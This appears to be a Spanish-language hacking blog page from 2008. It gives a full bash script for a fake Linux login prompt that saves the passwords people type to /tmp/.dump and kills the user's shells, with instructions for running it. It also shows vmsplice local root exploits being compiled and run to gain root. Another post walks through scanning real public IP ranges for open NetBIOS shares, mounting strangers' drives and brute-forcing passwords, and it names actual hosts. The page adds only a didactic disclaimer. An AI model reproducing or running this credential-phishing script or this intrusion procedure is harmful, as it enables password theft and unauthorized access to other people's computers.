Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

2/18/2008


Fake Linux login prompt o Login de Linux falso.

Que pasaría si eres parte de una gran empresa o de una universidad, formada por cientos de terminales bobas o constituidas por maquinas *nix, donde es posible tener acceso a cualquier de ellas con el sólo hecho de loguearse.
Que pasaría si todo fuera normal, si la diferencia entre un Fake linux login y un login real sea prácticamente nulo.
Lo que pasaría es que dejes tu contraseña en un archivo, que después será leida por un "atacante" que necesite acceder a tu cuenta.
Actualmente lass sesiones en Terminales bobas o no, son la mayoría graficas, ejemplos kdm y gdm hace algunos años no eran tan tipicas y el login en modo texto era el predilecto.


Había leido en un artículo como hacer un Fake linux login pero antes de poner en prática, perdí todos los datos de mi disco y por eso me imposibilité a concluirlo.....hasta ayer.
En packetstormsecurity.org navegando por la sección exploits, encontré lo que buscaba pero era algo anticuado y solamente adaptada para una distribucion "ubuntu 5.10", busqué en mis conocimientos limitados alguna forma de hacerlo compatible para cualquier distro y encontré la respuesta en el lenguaje awk, un lenguaje que las pocas veces que lo habia visto lo trataba de evitar, debido al desconocimiento de su sentencia y mi imaginación de dificil aprendizaje, estaba equivocado de nuevo..., es un lenguaje execelente para el procesamiento de patrones en el texto y nos da la capacidad de obtener lo que queramos :).

###INICIO###
# Made by Pranav Joshi & Deepak Kaul
# joshipranav [at the rate] gmail [dot] com
#
# Bash script to emulate login prompt for Linux Machines..
#
# Ctrl-C is blocked
# entered passwords are saved to /tmp/.dump
#
# this script kills all bash instances after it's execution and
# returns to the main login prompt so be prepared before u run it
# Mejorado por Braianet para Arch/Linux y demas distros
# braianel22 [at the rate] gmail [dot] com 18/02/08
# Las contrasenas ingresadas son guardadas en /tmp/.dump.

#!/bin/bash
clear

#Uncomment if you want to erase the /tmp/dump file each time
#> /tmp/.dump

#Your Login BANNER
SISTEMA=`awk '{for (ax=1;ax<=NF;ax++) if (! ($ax ~ /[\\\]/)) print $ax}' /etc/issue | awk '$0 !~ /[\x00-\x20]/'| awk 'BEGIN { ORS = "\x20"} $0 !~ /[\x00-\x20]/'` KERNEL=`uname -r` TERMINAL=`tty | awk 'BEGIN { FS = "\x2F" } {print $3"/"$4}'` #HOSTNAME HN=`hostname` #Si tu sistema NO es Arch/Linux deberias borrar de la variable BANNER la varible$HN y los corchetes (), para que coincida con tu distro. BANNER="$SISTEMA $KERNEL ($HN) ($TERMINAL)" #RUN Set to 0 RUN=0 echo -e "\n$BANNER" echo while [ $RUN -lt 3 ] do echo -n $HN login:; trap "" SIGINT SIGTERM; read USER if [ ${USER}abc = abc ] then echo $BANNER echo continue else echo username is $USER >> /tmp/.dump
echo -n Password: ; read -s PSWD

if [ ${PSWD}abc = abc ]
then
echo ; echo ; continue
fi

echo password is $PSWD >> /tmp/.dump ; echo
fi
echo Login incorrect
echo
RUN=`expr $RUN + 1`
done

# Registers the PID of first instance of bash
#BPID=`ps u | tr -s " " ":" | grep [-]bash | head -n1 | cut -d":" -f2`

# Registers PIDs of all bash instances (Safer)
BPID=`ps u | tr -s " " ":" | grep bash | cut -d":" -f2`

sleep 1
kill -9 $BPID


###FIN###

Si guardas el anterior archivo y lo ejecutas en una terminal de texto, te aparecerá una copia idéntica(Arch Linux, demás distros seguro retocar algo en el archivo) del Login Prompt. Si ingresamos el nombre de usuario y contraseña correctos nos dirá login incorrecto en tres intentos(se puede modificar el valor), donde el user y pass se almacenaran en el archivo /tmp/.dump que podrás leerlo posteriormente. Luego se ejecutará el Login verdadero que permitirá ingresar al usuario "victima", sin percatar su captura de contraseña.

Acuerdense de dar permisos de ejecución al archivo:

$ touch loginfalso.sh # creo el archivo
$ vi loginfalso.sh # abro el archivo y pego el programa. Pueden elegir cualquier editor
$ chmod +x loginfalso.sh # le doy permisos de ejecución
$ ./loginfalso.sh #ejecuto el login falso


Espero que les sirva el articulo, y ademas de conocer la existencia de fake login linux, también existen login falsos de ssh, entre otros. Saludos!

2/09/2008


Nuevos Local Root Exploits para Linux Kernel 2.6.17-2.6.24!

Mirando mis nuevos feeds, observé en http://milw0rm.org/ que salieron dos exploits para Linux Kernel:



Linux Kernel 2.6.23 - 2.6.24 vmsplice Local Root Exploit






Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit


Haciendo prácticas en mi sistema, compilé los dos exploits:

Primer Exploit:

[zh3ta@ArchLinux ~]$ touch exploit.c
[zh3ta@ArchLinux ~]$ vi exploit.c
[zh3ta@ArchLinux ~]$ gcc exploit.c -o explotar
[zh3ta@ArchLinux ~]$ ./explotar
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] addr: 0xc011e730
[+] root
[root@ArchLinux ~]#

---------------------------------------------------------------------------------------------------------------------------------------

Segundo Exploit:

[zh3ta@ArchLinux ~]$ touch exploit2.c
[zh3ta@ArchLinux ~]$ vi exploit2.c
[zh3ta@ArchLinux ~]$ gcc exploit2.c -o explotar2
[zh3ta@ArchLinux ~]$ ./explotar2
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e15000 .. 0xb7e47000
[+] root
[root@ArchLinux ~]#

Funcionan perfectos :P. Pero lo malo de esto es que entre a la pagina de http://www.kernel.org y quise actualizar mi kernel pero oh! sorpresa el ultimo kernel estable es:
The latest stable version of the Linux kernel is: 2.6.24.1
Por lo tanto el segundo exploit dice que este kernel también es vulnerable :S. Así que a tener mucho cuidado con esto. Saludos :).






1/25/2008


Documental: DEFCON - La conferencia Hacker más grande del mundo

Las Vegas; La ciudad del pecado recibe a la conferencia más temida y respetada del mundo de la tecnología. DEFCON - El otro lado de la informática.



Son los Hackers; inteligentes, profesionales, competitivos y contraculturales. Genios que para hacer el bien o el mal solo necesitan de una computadora.

Fuente: http://www.dragonjar.us

11/28/2007


Montando directorios compartidos en Internet por (culpa) Netbios en Gnu/Linux =)

Montando directorios compartidos en Internet por (culpa) Netbios en Gnu/Linux =)

Utilidad de Netbios según Wikipedia.

Resumiendo, de forma sencilla, NetBIOS, permite a las aplicaciones 'hablar' con la red. Su intención es conseguir aislar los programas de aplicación de cualquier tipo de dependencia del hardware. También evita que los desarrolladores de software tengan que desarrollar rutinas de recuperación ante errores o de enrutamiento o direccionamiento de mensajes a bajo nivel. Coloquialmente hablando, NetBIOS hace el 'trabajo sucio'.
..................................................................................................................

Hace mucho tiempo había observado la cantidad de maquinas que se conectaban a internet con Netbios habilitado, la verdad me sorprendió demasiado, pero actualmente las cosas no cambiaron mucho.
Aquella vez había escaneado con una herramienta en Window$, si... no conocía Gnu/Linux todavía =P. Y bueno hoy le voy a demostrar que se puede conseguir los mismos resultados...

------------------------------------------------------------------------------------------------------------

Para comenzar necesitamos tener instalado smbclient y smbfs, si estan en debian le dan

apt-get install smbclient smbfs

Primero escaneamos maquinas que tengan netbios activado con el programa nbtscan.

zh3ta@debian:~$ nbtscan 201.255.0.0/16
Doing NBT name scan for addresses from 201.255.0.0/16

IP address NetBIOS Name Server User MAC address
------------------------------------------------------------------------------
201.255.36.237 44:45:53:54:00:00
201.255.68.11 PC_WIN98 PC_WIN98 44:45:53:54:00:00
201.255.68.32 CONSULTORIO 00:0d:87:51:73:24
201.255.77.182 SILVIA SILVIA 44:45:53:54:00:00
201.255.77.249 A1 A 44:45:53:54:00:00
201.255.78.89 DESKTOP 00:53:45:00:00:00
201.255.91.84 URRUTTIA URRUTTIA 44:45:53:54:00:00
201.255.97.221 44:45:53:54:00:00
201.255.136.251 WIN98SE WIN98SE 44:45:53:54:00:00
201.255.146.41 DESKTOP 00:53:45:00:00:00
201.255.160.235 VD-A51EF1B760FA 00:53:45:00:00:00
201.255.161.28 VICTORIA-CASA 00:1a:92:cc:b4:dc
201.255.236.217 OSCAR OSCAR 00:0b:6a:d9:d2:f5
201.255.254.224 44:45:53:54:00:00
201.255.255.43 OEMCOMPUTER OEMCOMPUTER 44:45:53:54:00:00

Si quieren mas informacion le agregan el parametro -v.

zh3ta@debian:~$ nbtscan -v 201.255.0.0/16
Doing NBT name scan for addresses from 201.255.0.0/16


NetBIOS Name Table for Host 201.255.64.96:

Name Service Type
----------------------------------------
LUNAROMA <00> UNIQUE
WORKGROUP <00> GROUP
LUNAROMA <03> UNIQUE

Adapter address: 44:45:53:54:00:00
----------------------------------------


NetBIOS Name Table for Host 201.255.144.107:

Name Service Type
----------------------------------------
X5Y5N8 <00> UNIQUE
WORKGROUP <00> GROUP
X5Y5N8 <03> UNIQUE

Adapter address: 44:45:53:54:00:00

Luego elegimos una ip y utilizamos smbclient para comprobar si comparte recursos. El parámetro -L le indica que liste los mismos y el -N que no pida contraseña.

debian:/home/zh3ta# smbclient -L 201.250.49.249 -N
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Impresora Printer Macromedia FlashPaper
hpdeskje.2 Printer hp deskjet 3500 series (Copiar 1)
IPC$ IPC IPC remota
print$ Disk Controladores de impresora
C Disk
Documentos c Disk
F Disk
Administrador Disk
session request to 201.250.49.249 failed (Called name not present)
session request to 201 failed (Called name not present)
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Server Comment
--------- -------

Workgroup Master
--------- -------
debian:/home/zh3ta#

Si nos sale eso y les sale algo como acontinuacion quiere decir que no tiene todos los puertos habitados o nose que =P, van a tener que seguir buscando.

debian:/home/zh3ta# smbclient -L 201.250.102.224 -N
session request to 201.250.102.224 failed (Called name not present)
session request to 201 failed (Called name not present)
session request to *SMBSERVER failed (Called name not present)


Si la ip tiene recuersos para compartir entonces pueden montarlos =).

debian:/home# mount -t smbfs //$1/$2 /media/samba/

Donde $1 es la ip y $2 es el directorio montar. Ejemplo:

debian:/home/zh3ta# mount -t smbfs // 201.250.49.249/$IPC /media/samba/

Si nos salta esto:

debian:/home/zh3ta# mount -t smbfs //201.250.49.249/$IPC /media/samba/
Password:
14247: tree connect failed: ERRDOS - ERRnosuchshare (You specified an invalid share name)
SMB connection failed

Quiere decir que necesitamos el password...por lo tanto seguiremos buscando en otro directorio o con un ataque de fuerza bruta...como quieran.
En cambio si no le salta el mensaje de error, habrá montado el directorio sin problemas =).

debian:/home/zh3ta# mount -t smbfs //201.250.49.249/F /media/samba/
Password:
debian:/home/zh3ta#

Despues nos movemos en el directorio como cualquier otro.

debian:/home/zh3ta# cd /media/samba/
debian:/media/samba# ls
AITEMP CONFIG.SYS Mp3 RECYCLER
AUTOEXEC.BAT IO.SYS MSDOS.SYS System Volume Information
debian:/media/sabado#

Y bueno ahi dentro podemos subir o bajar cosas como cualquier directorio, cp, mv, rm etc.

Para simplificar las cosas cree unos scripts burdos en bash que pueden ser mejorados obviamente jeje.

Ver recursos compartidos:

#!/bin/bash
smbclient -L "$1" -N

despues le damos permisos de ejecucion chmod +x versmb y lo ejecutamos.

debian:/home/zh3ta# ./versmb 201.250.49.249
Domain=[DESKTOP] OS=[Windows 5.1] Server=[Windows 2000 LAN Manager]

Sharename Type Comment
--------- ---- -------
Impresora Printer Macromedia FlashPaper
hpdeskje.2 Printer hp deskjet 3500 series (Copiar 1)
IPC$ IPC IPC remota
print$ Disk Controladores de impresora
C Disk
Documentos c Disk
F Disk
Administrador Disk

Montar Directorios:

#!/bin/bash
mount -t smbfs //$1/$2 /media/samba/

y lo ejecutamos asi, primero la ip y despues el directorio a montar:

debian:/home/zh3ta# ./montarsmb 201.250.49.249 C

Por ultimo hay un programita que se llama smb-nat(Netbios Auditing Tool) que es tipo un brute force. Para utilizarlo lo instalamos:

debian:/home/zh3ta# apt-get install smb-nat

Y lo ejecutamos:

debian:/home/zh3ta# smb-nat -u /usr/share/smb-nat/userlist.txt -p /usr/share/smb-nat/passlist.txt 201.250.49.249

debian:/home/zh3ta# ./auditarsmb 201.250.49.249
[*]--- Reading usernames from /usr/share/smb-nat/userlist.txt
[*]--- Reading passwords from /usr/share/smb-nat/passlist.txt

[*]--- Checking host: 201.250.49.249
[*]--- Obtaining list of remote NetBIOS names
[*]--- Remote systems name tables:

DESKTOP
WORKGROUP
DESKTOP
WORKGROUP
WORKGROUP
__MSBROWSE__

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: DESKTOP
[*]--- CONNECTED with name: DESKTOP
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Wed Nov 28 23:09:12 2007
[*]--- Timezone is UTC-3.0
[*]--- Remote server wants us to encrypt, telling it not to
[*]--- Attempting to establish session

[*]--- Attempting to access share: \\DESKTOP\
[*]--- Unable to access


/usr/share/smb-nat/userlist.txt : es donde se encuentra las combinaciones posibles para el nombre de usuario, obviamente podremos agregarle lo que queramos, este path es solo para debian.

/usr/share/smb-nat/passlist.txt: idem del anterior, solo para las contraseñas.

$IP: es la ip que queremos auditar.

Recomendación:

El nbtscan es algo imperfecto porque verifica si el puerto 139 se encuentra abierto, pero eso no quiere decir que esa maquina comparta los recuersos. Si quieren altas probabilidades de obtener exito, necesitaran escanear con el nmap con el parametro -p 137-139, de esta manera encontrarán maquinas "mas" vulnerables.

Listado de Puertos Netbios:

netbios-ns 137/tcp NETBIOS Name Service
netbios-ns 137/udp NETBIOS Name Service
netbios-dgm 138/tcp NETBIOS Datagram Service
netbios-dgm 138/udp NETBIOS Datagram Service
netbios-ssn 139/tcp NETBIOS Session Service
netbios-ssn 139/udp NETBIOS Session Service


No me hago responsable por el uso que le puedan dar al documento, este fué escrito con motivos didácticos.

Bueno espero que les halla gustado, chau.!